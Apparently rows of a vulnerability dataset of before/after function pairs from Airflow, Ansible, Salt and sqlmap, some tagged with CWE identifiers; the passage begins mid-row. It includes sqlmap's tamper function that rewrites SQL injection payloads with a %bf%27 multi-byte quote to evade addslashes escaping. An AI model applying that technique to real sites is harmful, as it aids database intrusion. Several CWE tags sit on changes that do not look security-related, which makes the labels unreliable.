                data_interval=dag.timetable.infer_manual_data_interval(run_after=execution_date),
                state=DagRunState.QUEUED,
                conf=run_conf,
                external_trigger=True,
                dag_hash=get_airflow_app().dag_bag.dags_hash.get(dag_id),
                run_id=run_id,
            )
        except (ValueError, ParamValidationError) as ve:
            flash(f""{ve}"", ""error"")
            form = DateTimeForm(data={""execution_date"": execution_date})
            # Take over ""bad"" submitted fields for new form display
            for k, v in form_fields.items():
                form_fields[k][""value""] = run_conf[k]
            return self.render_template(
                ""airflow/trigger.html"",
                form_fields=form_fields,
                dag=dag,
                dag_id=dag_id,
                origin=origin,
                conf=request_conf,
                form=form,
                is_dag_run_conf_overrides_params=is_dag_run_conf_overrides_params,
            )

        flash(f""Triggered {dag_id}, it should start any moment now."")
        return redirect(origin)",CWE-89,apache/airflow,0b995602e6e5894ee31625a4dd0e6aa255d2a651,"def trigger(self, dag_id: str, session: Session = NEW_SESSION):
        """"""Triggers DAG Run.""""""
        run_id = request.values.get(""run_id"", """").replace("" "", ""+"")
        origin = get_safe_url(request.values.get(""origin""))
        unpause = request.values.get(""unpause"")
        request_conf = request.values.get(""conf"")
        request_execution_date = request.values.get(""execution_date"", default=timezone.utcnow().isoformat())
        is_dag_run_conf_overrides_params = conf.getboolean(""core"", ""dag_run_conf_overrides_params"")
        dag = get_airflow_app().dag_bag.get_dag(dag_id)
        dag_orm: DagModel = session.scalar(select(DagModel).where(DagModel.dag_id == dag_id).limit(1))

        # Prepare form fields with param struct details to render a proper form with schema information
        form_fields = {}
        for k, v in dag.params.items():
            form_fields[k] = v.dump()
            # If no schema is provided, auto-detect on default values
            if ""schema"" not in form_fields[k]:
                form_fields[k][""schema""] = {}
            if ""type"" not in form_fields[k][""schema""]:
                if isinstance(form_fields[k][""value""], bool):
                    form_fields[k][""schema""][""type""] = ""boolean""
                elif isinstance(form_fields[k][""value""], int):
                    form_fields[k][""schema""][""type""] = [""integer"", ""null""]
                elif isinstance(form_fields[k][""value""], list):
                    form_fields[k][""schema""][""type""] = [""array"", ""null""]
                elif isinstance(form_fields[k][""value""], dict):
                    form_fields[k][""schema""][""type""] = [""object"", ""null""]
            # Mark markup fields as safe
            if (
                ""description_html"" in form_fields[k][""schema""]
                and form_fields[k][""schema""][""description_html""]
            ):
                form_fields[k][""description""] = Markup(form_fields[k][""schema""][""description_html""])
            if ""custom_html_form"" in form_fields[k][""schema""]:
                form_fields[k][""schema""][""custom_html_form""] = Markup(
                    form_fields[k][""schema""][""custom_html_form""]
                )
        ui_fields_defined = any(""const"" not in f[""schema""] for f in form_fields.values())
        show_trigger_form_if_no_params = conf.getboolean(""webserver"", ""show_trigger_form_if_no_params"")

        if not dag_orm:
            flash(f""Cannot find dag {dag_id}"")
            return redirect(origin)

        if dag_orm.has_import_errors:
            flash(f""Cannot create dagruns because the dag {dag_id} has import errors"", ""error"")
            return redirect(origin)

        recent_runs = session.execute(
            select(DagRun.conf, func.max(DagRun.run_id).label(""run_id""), func.max(DagRun.execution_date))
            .where(
                DagRun.dag_id == dag_id,
                DagRun.run_type == DagRunType.MANUAL,
                DagRun.conf.isnot(None),
            )
            .group_by(DagRun.conf)
            .order_by(func.max(DagRun.execution_date).desc())
            .limit(5)
        )
        recent_confs = {
            run_id: json.dumps(run_conf)
            for run_id, run_conf in ((run.run_id, run.conf) for run in recent_runs)
            if isinstance(run_conf, dict) and any(run_conf)
        }

        if request.method == ""GET"" and (ui_fields_defined or show_trigger_form_if_no_params):
            # Populate conf textarea with conf requests parameter, or dag.params
            default_conf = """"

            doc_md = wwwutils.wrapped_markdown(getattr(dag, ""doc_md"", None))
            form = DateTimeForm(data={""execution_date"": request_execution_date})

            if request_conf:
                default_conf = request_conf
            else:
                try:
                    default_conf = json.dumps(
                        {str(k): v.resolve(suppress_exception=True) for k, v in dag.params.items()},
                        indent=4,
                        ensure_ascii=False,
                    )
                except TypeError:
                    flash(""Could not pre-populate conf field due to non-JSON-serializable data-types"")
            return self.render_template(
                ""airflow/trigger.html"",
                form_fields=form_fields,
                dag=dag,
                dag_id=dag_id,
                origin=origin,
                conf=default_conf,
                doc_md=doc_md,
                form=form,
                is_dag_run_conf_overrides_params=is_dag_run_conf_overrides_params,
                recent_confs=recent_confs,
            )

        try:
            execution_date = timezone.parse(request_execution_date, strict=True)
        except ParserError:
            flash(""Invalid execution date"", ""error"")
            form = DateTimeForm(data={""execution_date"": timezone.utcnow().isoformat()})
            return self.render_template(
                ""airflow/trigger.html"",
                form_fields=form_fields,
                dag=dag,
                dag_id=dag_id,
                origin=origin,
                conf=request_conf or {},
                form=form,
                is_dag_run_conf_overrides_params=is_dag_run_conf_overrides_params,
                recent_confs=recent_confs,
            )

        dr = DagRun.find_duplicate(dag_id=dag_id, run_id=run_id, execution_date=execution_date)
        if dr:
            if dr.run_id == run_id:
                message = f""The run ID {run_id} already exists""
            else:
                message = f""The logical date {execution_date} already exists""
            flash(message, ""error"")
            return redirect(origin)

        regex = conf.get(""scheduler"", ""allowed_run_id_pattern"")
        if run_id and not re2.match(RUN_ID_REGEX, run_id):
            if not regex.strip() or not re2.match(regex.strip(), run_id):
                flash(
                    f""The provided run ID '{run_id}' is invalid. It does not match either ""
                    f""the configured pattern: '{regex}' or the built-in pattern: '{RUN_ID_REGEX}'"",
                    ""error"",
                )

                form = DateTimeForm(data={""execution_date"": execution_date})
                return self.render_template(
                    ""airflow/trigger.html"",
                    form_fields=form_fields,
                    dag=dag,
                    dag_id=dag_id,
                    origin=origin,
                    conf=request_conf,
                    form=form,
                    is_dag_run_conf_overrides_params=is_dag_run_conf_overrides_params,
                    recent_confs=recent_confs,
                )

        run_conf = {}
        if request_conf:
            try:
                run_conf = json.loads(request_conf)
                if not isinstance(run_conf, dict):
                    flash(""Invalid JSON configuration, must be a dict"", ""error"")
                    form = DateTimeForm(data={""execution_date"": execution_date})
                    return self.render_template(
                        ""airflow/trigger.html"",
                        form_fields=form_fields,
                        dag=dag,
                        dag_id=dag_id,
                        origin=origin,
                        conf=request_conf,
                        form=form,
                        is_dag_run_conf_overrides_params=is_dag_run_conf_overrides_params,
                        recent_confs=recent_confs,
                    )
            except json.decoder.JSONDecodeError:
                flash(""Invalid JSON configuration, not parseable"", ""error"")
                form = DateTimeForm(data={""execution_date"": execution_date})
                return self.render_template(
                    ""airflow/trigger.html"",
                    form_fields=form_fields,
                    dag=dag,
                    dag_id=dag_id,
                    origin=origin,
                    conf=request_conf,
                    form=form,
                    is_dag_run_conf_overrides_params=is_dag_run_conf_overrides_params,
                    recent_confs=recent_confs,
                )

        if dag.get_is_paused():
            if unpause or not ui_fields_defined:
                flash(f""Unpaused DAG {dag_id}."")
                dag_model = models.DagModel.get_dagmodel(dag_id)
                if dag_model is not None:
                    dag_model.set_is_paused(is_paused=False)
            else:
                flash(
                    f""DAG {dag_id} is paused, unpause if you want to have the triggered run being executed."",
                    ""warning"",
                )

        try:
            dag.create_dagrun(
                run_type=DagRunType.MANUAL,
                execution_date=execution_date,
                data_interval=dag.timetable.infer_manual_data_interval(run_after=execution_date),
                state=DagRunState.QUEUED,
                conf=run_conf,
                external_trigger=True,
                dag_hash=get_airflow_app().dag_bag.dags_hash.get(dag_id),
                run_id=run_id,
            )
        except (ValueError, ParamValidationError) as ve:
            flash(f""{ve}"", ""error"")
            form = DateTimeForm(data={""execution_date"": execution_date})
            # Take over ""bad"" submitted fields for new form display
            for k, v in form_fields.items():
                form_fields[k][""value""] = run_conf[k]
            return self.render_template(
                ""airflow/trigger.html"",
                form_fields=form_fields,
                dag=dag,
                dag_id=dag_id,
                origin=origin,
                conf=request_conf,
                form=form,
                is_dag_run_conf_overrides_params=is_dag_run_conf_overrides_params,
            )

        flash(f""Triggered {dag_id}, it should start any moment now."")
        return redirect(origin)"
,UNKNOWN,UNKNOWN,lib/ansible/playbook/helpers.py,1,"def load_list_of_tasks(ds, play, block=None, role=None, task_include=None, use_handlers=False, variable_manager=None, loader=None):
    '''
    Given a list of task datastructures (parsed from YAML),
    return a list of Task() or TaskInclude() objects.
    '''

    # we import here to prevent a circular dependency with imports
    from ansible.playbook.block import Block
    from ansible.playbook.handler import Handler
    from ansible.playbook.task import Task
    from ansible.playbook.task_include import TaskInclude
    from ansible.playbook.role_include import IncludeRole
    from ansible.playbook.handler_task_include import HandlerTaskInclude
    from ansible.template import Templar

    assert isinstance(ds, list)

    task_list = []
    for task_ds in ds:
        assert isinstance(task_ds, dict)

        if 'block' in task_ds:
            t = Block.load(
                task_ds,
                play=play,
                parent_block=block,
                role=role,
                task_include=task_include,
                use_handlers=use_handlers,
                variable_manager=variable_manager,
                loader=loader,
            )
            task_list.append(t)
        else:
            if 'include' in task_ds:
                if use_handlers:
                    include_class = HandlerTaskInclude
                else:
                    include_class = TaskInclude

                t = include_class.load(
                    task_ds,
                    block=block,
                    role=role,
                    task_include=None,
                    variable_manager=variable_manager,
                    loader=loader
                )

                all_vars = variable_manager.get_vars(loader=loader, play=play, task=t)
                templar = Templar(loader=loader, variables=all_vars)

                # check to see if this include is dynamic or static:
                # 1. the user has set the 'static' option to false or true
                # 2. one of the appropriate config options was set
                if t.static is not None:
                    is_static = t.static
                else:
                    is_static = C.DEFAULT_TASK_INCLUDES_STATIC or \
                                (use_handlers and C.DEFAULT_HANDLER_INCLUDES_STATIC) or \
                                (not templar._contains_vars(t.args['_raw_params']) and t.all_parents_static() and not t.loop)

                if is_static:
                    if t.loop is not None:
                        raise AnsibleParserError(""You cannot use 'static' on an include with a loop"", obj=task_ds)

                    # we set a flag to indicate this include was static
                    t.statically_loaded = True

                    # handle relative includes by walking up the list of parent include
                    # tasks and checking the relative result to see if it exists
                    parent_include = block
                    cumulative_path = None

                    found = False
                    subdir = 'tasks'
                    if use_handlers:
                        subdir = 'handlers'
                    while parent_include is not None:
                        if not isinstance(parent_include, TaskInclude):
                            parent_include = parent_include._parent
                            continue
                        parent_include_dir = templar.template(os.path.dirname(parent_include.args.get('_raw_params')))
                        if cumulative_path is None:
                            cumulative_path = parent_include_dir
                        elif not os.path.isabs(cumulative_path):
                            cumulative_path = os.path.join(parent_include_dir, cumulative_path)
                        include_target = templar.template(t.args['_raw_params'])
                        if t._role:
                            new_basedir = os.path.join(t._role._role_path, subdir, cumulative_path)
                            include_file = loader.path_dwim_relative(new_basedir, subdir, include_target)
                        else:
                            include_file = loader.path_dwim_relative(loader.get_basedir(), cumulative_path, include_target)

                        if os.path.exists(include_file):
                            found = True
                            break
                        else:
                            parent_include = parent_include._parent

                    if not found:
                        try:
                            include_target = templar.template(t.args['_raw_params'])
                        except AnsibleUndefinedVariable:
                            raise AnsibleParserError(
                                      ""Error when evaluating variable in include name: %s.\n\n"" \
                                      ""When using static includes, ensure that any variables used in their names are defined in vars/vars_files\n"" \
                                      ""or extra-vars passed in from the command line. Static includes cannot use variables from inventory\n"" \
                                      ""sources like group or host vars."" % t.args['_raw_params'],
                                      obj=task_ds,
                                      suppress_extended_error=True,
                                  )
                        if t._role:
                            include_file = loader.path_dwim_relative(t._role._role_path, subdir, include_target)
                        else:
                            include_file = loader.path_dwim(include_target)

                    try:
                        data = loader.load_from_file(include_file)
                        if data is None:
                            return []
                        elif not isinstance(data, list):
                            raise AnsibleParserError(""included task files must contain a list of tasks"", obj=data)

                        # since we can't send callbacks here, we display a message directly in
                        # the same fashion used by the on_include callback. We also do it here,
                        # because the recursive nature of helper methods means we may be loading
                        # nested includes, and we want the include order printed correctly
                        display.vv(""statically included: %s"" % include_file)
                    except AnsibleFileNotFound:
                        if t.static or \
                           C.DEFAULT_TASK_INCLUDES_STATIC or \
                           C.DEFAULT_HANDLER_INCLUDES_STATIC and use_handlers:
                            raise
                        display.deprecated(
                            ""Included file '%s' not found, however since this include is not "" \
                            ""explicitly marked as 'static: yes', we will try and include it dynamically "" \
                            ""later. In the future, this will be an error unless 'static: no' is used "" \
                            ""on the include task. If you do not want missing includes to be considered "" \
                            ""dynamic, use 'static: yes' on the include or set the global ansible.cfg "" \
                            ""options to make all inclues static for tasks and/or handlers"" % include_file,
                        )
                        task_list.append(t)
                        continue

                    ti_copy = t.copy(exclude_parent=True)
                    ti_copy._parent = block
                    included_blocks = load_list_of_blocks(
                        data,
                        play=play,
                        parent_block=None,
                        task_include=ti_copy,
                        role=role,
                        use_handlers=use_handlers,
                        loader=loader,
                        variable_manager=variable_manager,
                    )

                    # pop tags out of the include args, if they were specified there, and assign
                    # them to the include. If the include already had tags specified, we raise an
                    # error so that users know not to specify them both ways
                    tags = ti_copy.vars.pop('tags', [])
                    if isinstance(tags, string_types):
                        tags = tags.split(',')

                    if len(tags) > 0:
                        if len(ti_copy.tags) > 0:
                            raise AnsibleParserError(
                                ""Include tasks should not specify tags in more than one way (both via args and directly on the task). "" \
                                ""Mixing styles in which tags are specified is prohibited for whole import hierarchy, not only for single import statement"",
                                obj=task_ds,
                                suppress_extended_error=True,
                            )
                        display.deprecated(""You should not specify tags in the include parameters. All tags should be specified using the task-level option"")
                    else:
                        tags = ti_copy.tags[:]

                    # now we extend the tags on each of the included blocks
                    for b in included_blocks:
                        b.tags = list(set(b.tags).union(tags))
                    # END FIXME

                    # FIXME: handlers shouldn't need this special handling, but do
                    #        right now because they don't iterate blocks correctly
                    if use_handlers:
                        for b in included_blocks:
                            task_list.extend(b.block)
                    else:
                        task_list.extend(included_blocks)
                else:
                    task_list.append(t)

            elif 'include_role' in task_ds:

                ir = IncludeRole.load(
                            task_ds,
                            block=block,
                            role=role,
                            task_include=None,
                            variable_manager=variable_manager,
                            loader=loader
                     )

                #   1. the user has set the 'static' option to false or true
                #   2. one of the appropriate config options was set
                if ir.static is not None:
                    is_static = ir.static
                else:
                    display.debug('Determine if include_role is static')
                    # Check to see if this include is dynamic or static:
                    all_vars = variable_manager.get_vars(loader=loader, play=play, task=ir)
                    templar = Templar(loader=loader, variables=all_vars)
                    needs_templating = False
                    for param in ir.args:
                        if templar._contains_vars(ir.args[param]):
                            if not templar.templatable(ir.args[param]):
                                needs_templating = True
                                break
                    is_static = C.DEFAULT_TASK_INCLUDES_STATIC or \
                                (use_handlers and C.DEFAULT_HANDLER_INCLUDES_STATIC)  or \
                                (not needs_templating and ir.all_parents_static() and not ir.loop)
                    display.debug('Determined that if include_role static is %s' % str(is_static))

                if is_static:
                    # uses compiled list from object
                    t = task_list.extend(ir.get_block_list(variable_manager=variable_manager, loader=loader))
                else:
                    # passes task object itself for latter generation of list
                    t = task_list.append(ir)
            else:
                if use_handlers:
                    t = Handler.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)
                else:
                    t = Task.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)

                task_list.append(t)

    return task_list",CWE-703,ansible/ansible,4d585c9035a2e07c8040727e62c0699bb1e87a22,"def load_list_of_tasks(ds, play, block=None, role=None, task_include=None, use_handlers=False, variable_manager=None, loader=None):
    '''
    Given a list of task datastructures (parsed from YAML),
    return a list of Task() or TaskInclude() objects.
    '''

    # we import here to prevent a circular dependency with imports
    from ansible.playbook.block import Block
    from ansible.playbook.handler import Handler
    from ansible.playbook.task import Task
    from ansible.playbook.task_include import TaskInclude
    from ansible.playbook.role_include import IncludeRole
    from ansible.playbook.handler_task_include import HandlerTaskInclude
    from ansible.template import Templar

    assert isinstance(ds, list)

    task_list = []
    for task_ds in ds:
        assert isinstance(task_ds, dict)

        if 'block' in task_ds:
            t = Block.load(
                task_ds,
                play=play,
                parent_block=block,
                role=role,
                task_include=task_include,
                use_handlers=use_handlers,
                variable_manager=variable_manager,
                loader=loader,
            )
            task_list.append(t)
        else:
            if 'include' in task_ds:
                if use_handlers:
                    include_class = HandlerTaskInclude
                else:
                    include_class = TaskInclude

                t = include_class.load(
                    task_ds,
                    block=block,
                    role=role,
                    task_include=None,
                    variable_manager=variable_manager,
                    loader=loader
                )

                all_vars = variable_manager.get_vars(loader=loader, play=play, task=t)
                templar = Templar(loader=loader, variables=all_vars)

                # check to see if this include is dynamic or static:
                # 1. the user has set the 'static' option to false or true
                # 2. one of the appropriate config options was set
                if t.static is not None:
                    is_static = t.static
                else:
                    is_static = C.DEFAULT_TASK_INCLUDES_STATIC or \
                                (use_handlers and C.DEFAULT_HANDLER_INCLUDES_STATIC) or \
                                (not templar._contains_vars(t.args['_raw_params']) and t.all_parents_static() and not t.loop)

                if is_static:
                    if t.loop is not None:
                        raise AnsibleParserError(""You cannot use 'static' on an include with a loop"", obj=task_ds)

                    # we set a flag to indicate this include was static
                    t.statically_loaded = True

                    # handle relative includes by walking up the list of parent include
                    # tasks and checking the relative result to see if it exists
                    parent_include = block
                    cumulative_path = None

                    found = False
                    subdir = 'tasks'
                    if use_handlers:
                        subdir = 'handlers'
                    while parent_include is not None:
                        if not isinstance(parent_include, TaskInclude):
                            parent_include = parent_include._parent
                            continue
                        parent_include_dir = templar.template(os.path.dirname(parent_include.args.get('_raw_params')))
                        if cumulative_path is None:
                            cumulative_path = parent_include_dir
                        elif not os.path.isabs(cumulative_path):
                            cumulative_path = os.path.join(parent_include_dir, cumulative_path)
                        include_target = templar.template(t.args['_raw_params'])
                        if t._role:
                            new_basedir = os.path.join(t._role._role_path, subdir, cumulative_path)
                            include_file = loader.path_dwim_relative(new_basedir, subdir, include_target)
                        else:
                            include_file = loader.path_dwim_relative(loader.get_basedir(), cumulative_path, include_target)

                        if os.path.exists(include_file):
                            found = True
                            break
                        else:
                            parent_include = parent_include._parent

                    if not found:
                        try:
                            include_target = templar.template(t.args['_raw_params'])
                        except AnsibleUndefinedVariable:
                            raise AnsibleParserError(
                                      ""Error when evaluating variable in include name: %s.\n\n"" \
                                      ""When using static includes, ensure that any variables used in their names are defined in vars/vars_files\n"" \
                                      ""or extra-vars passed in from the command line. Static includes cannot use variables from inventory\n"" \
                                      ""sources like group or host vars."" % t.args['_raw_params'],
                                      obj=task_ds,
                                      suppress_extended_error=True,
                                  )
                        if t._role:
                            include_file = loader.path_dwim_relative(t._role._role_path, subdir, include_target)
                        else:
                            include_file = loader.path_dwim(include_target)

                    try:
                        data = loader.load_from_file(include_file)
                        if data is None:
                            return []
                        elif not isinstance(data, list):
                            raise AnsibleParserError(""included task files must contain a list of tasks"", obj=data)

                        # since we can't send callbacks here, we display a message directly in
                        # the same fashion used by the on_include callback. We also do it here,
                        # because the recursive nature of helper methods means we may be loading
                        # nested includes, and we want the include order printed correctly
                        display.vv(""statically included: %s"" % include_file)
                    except AnsibleFileNotFound:
                        if t.static or \
                           C.DEFAULT_TASK_INCLUDES_STATIC or \
                           C.DEFAULT_HANDLER_INCLUDES_STATIC and use_handlers:
                            raise
                        display.deprecated(
                            ""Included file '%s' not found, however since this include is not "" \
                            ""explicitly marked as 'static: yes', we will try and include it dynamically "" \
                            ""later. In the future, this will be an error unless 'static: no' is used "" \
                            ""on the include task. If you do not want missing includes to be considered "" \
                            ""dynamic, use 'static: yes' on the include or set the global ansible.cfg "" \
                            ""options to make all inclues static for tasks and/or handlers"" % include_file,
                        )
                        task_list.append(t)
                        continue

                    ti_copy = t.copy(exclude_parent=True)
                    ti_copy._parent = block
                    included_blocks = load_list_of_blocks(
                        data,
                        play=play,
                        parent_block=None,
                        task_include=ti_copy,
                        role=role,
                        use_handlers=use_handlers,
                        loader=loader,
                        variable_manager=variable_manager,
                    )

                    # pop tags out of the include args, if they were specified there, and assign
                    # them to the include. If the include already had tags specified, we raise an
                    # error so that users know not to specify them both ways
                    tags = ti_copy.vars.pop('tags', [])
                    if isinstance(tags, string_types):
                        tags = tags.split(',')

                    if len(tags) > 0:
                        if len(ti_copy.tags) > 0:
                            raise AnsibleParserError(
                                ""Include tasks should not specify tags in more than one way (both via args and directly on the task). "" \
                                ""Mixing styles in which tags are specified is prohibited for whole import hierarchy, not only for single import statement"",
                                obj=task_ds,
                                suppress_extended_error=True,
                            )
                        display.deprecated(""You should not specify tags in the include parameters. All tags should be specified using the task-level option"")
                    else:
                        tags = ti_copy.tags[:]

                    # now we extend the tags on each of the included blocks
                    for b in included_blocks:
                        b.tags = list(set(b.tags).union(tags))
                    # END FIXME

                    # FIXME: handlers shouldn't need this special handling, but do
                    #        right now because they don't iterate blocks correctly
                    if use_handlers:
                        for b in included_blocks:
                            task_list.extend(b.block)
                    else:
                        task_list.extend(included_blocks)
                else:
                    task_list.append(t)

            elif 'include_role' in task_ds:

                ir = IncludeRole.load(
                            task_ds,
                            block=block,
                            role=role,
                            task_include=None,
                            variable_manager=variable_manager,
                            loader=loader
                     )

                #   1. the user has set the 'static' option to false or true
                #   2. one of the appropriate config options was set
                if ir.static is not None:
                    is_static = ir.static
                else:
                    display.debug('Determine if include_role is static')
                    # Check to see if this include is dynamic or static:
                    all_vars = variable_manager.get_vars(loader=loader, play=play, task=ir)
                    templar = Templar(loader=loader, variables=all_vars)
                    needs_templating = False
                    for param in ir.args:
                        if templar._contains_vars(ir.args[param]):
                            if not templar.templatable(ir.args[param]):
                                needs_templating = True
                                break
                    is_static = C.DEFAULT_TASK_INCLUDES_STATIC or \
                                (use_handlers and C.DEFAULT_HANDLER_INCLUDES_STATIC)  or \
                                (not needs_templating and ir.all_parents_static() and not ir.loop)
                    display.debug('Determined that if include_role static is %s' % str(is_static))
                if is_static:
                    # uses compiled list from object
                    t = task_list.extend(ir.get_block_list(variable_manager=variable_manager, loader=loader))
                else:
                    # passes task object itself for latter generation of list
                    t = task_list.append(ir)
            else:
                if use_handlers:
                    t = Handler.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)
                else:
                    t = Task.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)

                task_list.append(t)

    return task_list"
,UNKNOWN,UNKNOWN,tests/contrib/operators/dataflow_operator.py,1,"def test_exec(self, gcs_hook, dataflow_mock):
        """"""Test DataFlowHook is created and the right args are passed to
        start_python_workflow.

        """"""
        start_python_hook = dataflow_mock.return_value.start_python_dataflow
        gcs_download_hook = gcs_hook.return_value.download
        self.dataflow.execute(None)
        self.assertTrue(dataflow_mock.called)
        expected_options = {
            'project': 'test',
            'staging_location': 'gs://test/staging',
            'output': 'gs://test/output'
        }
        gcs_download_hook.assert_called_once_with(
            'my-bucket', 'my-object.py', mock.ANY)
        start_python_hook.assert_called_once_with(TASK_ID, expected_options,
                                                  mock.ANY, PY_OPTIONS)
        self.assertTrue(self.dataflow.py_file.startswith('/tmp/dataflow'))",CWE-703,apache/airflow,3ceb3abf166b77ea8baeb9015d33223143cdfb8a,"def test_exec(self, gcs_hook, dataflow_mock):
        """"""Test DataFlowHook is created and the right args are passed to
        start_python_workflow.

        """"""
        start_python_hook = dataflow_mock.return_value.start_python_dataflow
        gcs_download_hook = gcs_hook.return_value.download
        self.dataflow.execute(None)
        assert dataflow_mock.called
        expected_options = {
            'project': 'test',
            'staging_location': 'gs://test/staging',
            'output': 'gs://test/output'
        }
        gcs_download_hook.assert_called_once_with(
            'my-bucket', 'my-object.py', mock.ANY)
        start_python_hook.assert_called_once_with(TASK_ID, expected_options,
                                                  mock.ANY, PY_OPTIONS)
        self.assertTrue(self.dataflow.py_file.startswith('/tmp/dataflow'))"
,UNKNOWN,UNKNOWN,providers/google/src/airflow/providers/google/cloud/links/base.py,1,"def get_link(
        self,
        operator: BaseOperator,
        *,
        ti_key: TaskInstanceKey,
    ) -> str:
        if TYPE_CHECKING:
            assert isinstance(operator, GoogleCloudBaseOperator | BaseSensorOperator)

        conf = self.get_config(operator, ti_key)
        if not conf:
            return """"
        return self._format_link(**conf)",CWE-703,apache/airflow,e7e89a07ff24d7942e1940d10b4da5be0013336e,"def get_link(
        self,
        operator: BaseOperator,
        *,
        ti_key: TaskInstanceKey,
    ) -> str:
        if TYPE_CHECKING:
            assert isinstance(operator, (GoogleCloudBaseOperator, BaseSensorOperator))

        conf = self.get_config(operator, ti_key)
        if not conf:
            return """"
        return self._format_link(**conf)"
,UNKNOWN,UNKNOWN,providers/sftp/tests/unit/sftp/sensors/test_sftp.py,1,"def test_file_present(self, sftp_hook_mock):
        sftp_hook_mock.return_value.get_mod_time.return_value = ""19700101000000""
        sftp_sensor = SFTPSensor(task_id=""unit_test"", path=""/path/to/file/1970-01-01.txt"")
        context = {""ds"": ""1970-01-01""}
        output = sftp_sensor.poke(context)
        sftp_hook_mock.return_value.get_mod_time.assert_called_once_with(""/path/to/file/1970-01-01.txt"")
        sftp_hook_mock.return_value.close_conn.assert_not_called()
        assert output",CWE-703,apache/airflow,c51010f41cee2bed1f62a1dada4539ac1dd0d1f2,"def test_file_present(self, sftp_hook_mock):
        sftp_hook_mock.return_value.get_mod_time.return_value = ""19700101000000""
        sftp_sensor = SFTPSensor(task_id=""unit_test"", path=""/path/to/file/1970-01-01.txt"")
        context = {""ds"": ""1970-01-01""}
        output = sftp_sensor.poke(context)
        sftp_hook_mock.return_value.get_mod_time.assert_called_once_with(""/path/to/file/1970-01-01.txt"")
        assert output"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,tamper/unmagicquotes.py,0,"def tamper(payload, **kwargs):
    """"""
    Replaces quote character (') with a multi-byte combo %bf%27 together with
    generic comment at the end (to make it work)

    Notes:
        * Useful for bypassing magic_quotes/addslashes feature

    Reference:
        * http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string

    >>> tamper(""1' AND 1=1"")
    '1%bf%27 AND 1=1-- '
    """"""

    retVal = payload

    if payload:
        found = False
        retVal = """"

        for i in xrange(len(payload)):
            if payload[i] == '\'' and not found:
                retVal += ""%bf%27""
                found = True
            else:
                retVal += payload[i]
                continue

        if found:
            _ = re.sub(""(?i)\s*(AND|OR)[\s(]+'[^']+'\s*(=|LIKE)\s*'.*"", """", retVal)
            if _ != retVal:
                retVal = _
                retVal += ""-- ""

    return retVal",,sqlmapproject/sqlmap,6c4c82758d551c32a6e618313ddc07dc39cc2ddc,"def tamper(payload, **kwargs):
    """"""
    Replaces quote character (') with a multi-byte combo %bf%27 together with
    generic comment at the end (to make it work)

    Notes:
        * Useful for bypassing magic_quotes/addslashes feature

    Reference:
        * http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string

    >>> tamper(""1' AND 1=1"")
    '1%bf%27 AND 1=1-- '
    """"""

    retVal = payload

    if payload:
        found = False
        retVal = """"

        for i in xrange(len(payload)):
            if payload[i] == '\'' and not found:
                retVal += ""%bf%27""
                found = True
            else:
                retVal += payload[i]
                continue

        if found:
            _ = re.sub(""\s*(AND|OR)[\s(]+'[^']+'\s*(=|LIKE)\s*'.*"", """", retVal, flags=re.I)
            if _ != retVal:
                retVal = _
                retVal += ""-- ""

    return retVal"
,UNKNOWN,UNKNOWN,tests/pytests/unit/client/ssh/test_single.py,1,"def test_run_ssh_pre_flight_no_connect(opts, target, tmp_path, caplog):
    """"""
    test Single.run_ssh_pre_flight when you
    cannot connect to the target
    """"""
    pre_flight = tmp_path / ""script.sh""
    pre_flight.write_text("""")
    target[""ssh_pre_flight""] = str(pre_flight)
    single = ssh.Single(
        opts,
        opts[""argv""],
        ""localhost"",
        mods={},
        fsclient=None,
        thin=salt.utils.thin.thin_path(opts[""cachedir""]),
        mine=False,
        winrm=False,
        tty=True,
        **target,
    )
    mock_exec_cmd = MagicMock(return_value=("""", """", 1))
    patch_exec_cmd = patch(""salt.client.ssh.shell.Shell.exec_cmd"", mock_exec_cmd)
    tmp_file = tmp_path / ""tmp_file""
    mock_tmp = MagicMock()
    patch_tmp = patch(""tempfile.NamedTemporaryFile"", mock_tmp)
    mock_tmp.return_value.__enter__.return_value.name = tmp_file
    ret_send = (
        """",
        ""ssh: connect to host 192.168.1.186 port 22: No route to host\nscp: Connection closed\n"",
        255,
    )
    send_mock = MagicMock(return_value=ret_send)
    patch_send = patch(""salt.client.ssh.shell.Shell.send"", send_mock)

    with caplog.at_level(logging.TRACE):
        with patch_send, patch_exec_cmd, patch_tmp:
            ret = single.run_ssh_pre_flight()
    assert ""Copying the pre flight script"" in caplog.text
    assert ""Could not copy the pre flight script to target"" in caplog.text
    assert ret == ret_send
    assert send_mock.call_args_list[0][0][0] == tmp_file
    target_script = send_mock.call_args_list[0][0][1]
    assert re.search(r"".[a-z0-9]+"", target_script)
    mock_exec_cmd.assert_not_called()",CWE-703,saltstack/salt,9429f45ea40fea91b430597c9f8c8c69a6cefcdb,"def test_run_ssh_pre_flight_no_connect(opts, target, tmp_path, caplog):
    """"""
    test Single.run_ssh_pre_flight when you
    cannot connect to the target
    """"""
    pre_flight = tmp_path / ""script.sh""
    pre_flight.write_text("""")
    target[""ssh_pre_flight""] = str(pre_flight)
    single = ssh.Single(
        opts,
        opts[""argv""],
        ""localhost"",
        mods={},
        fsclient=None,
        thin=salt.utils.thin.thin_path(opts[""cachedir""]),
        mine=False,
        winrm=False,
        tty=True,
        **target,
    )
    mock_exec_cmd = MagicMock(return_value=("""", """", 1))
    patch_exec_cmd = patch(""salt.client.ssh.shell.Shell.exec_cmd"", mock_exec_cmd)
    tmp_file = tmp_path / ""tmp_file""
    mock_tmp = MagicMock()
    patch_tmp = patch(""tempfile.NamedTemporaryFile"", mock_tmp)
    mock_tmp.return_value.__enter__.return_value.name = tmp_file
    ret_send = (
        """",
        ""ssh: connect to host 192.168.1.186 port 22: No route to host\nscp: Connection closed\n"",
        255,
    )
    send_mock = MagicMock(return_value=ret_send)
    patch_send = patch(""salt.client.ssh.shell.Shell.send"", send_mock)

    with caplog.at_level(logging.TRACE):
        with patch_send, patch_exec_cmd, patch_tmp:
            ret = single.run_ssh_pre_flight()
    assert f""Copying the pre flight script {pre_flight.name}"" in caplog.text
    assert (
        f""Could not copy the pre flight script {pre_flight.name} to target""
        in caplog.text
    )
    assert ret == ret_send
    assert send_mock.call_args_list[0][0][0] == tmp_file
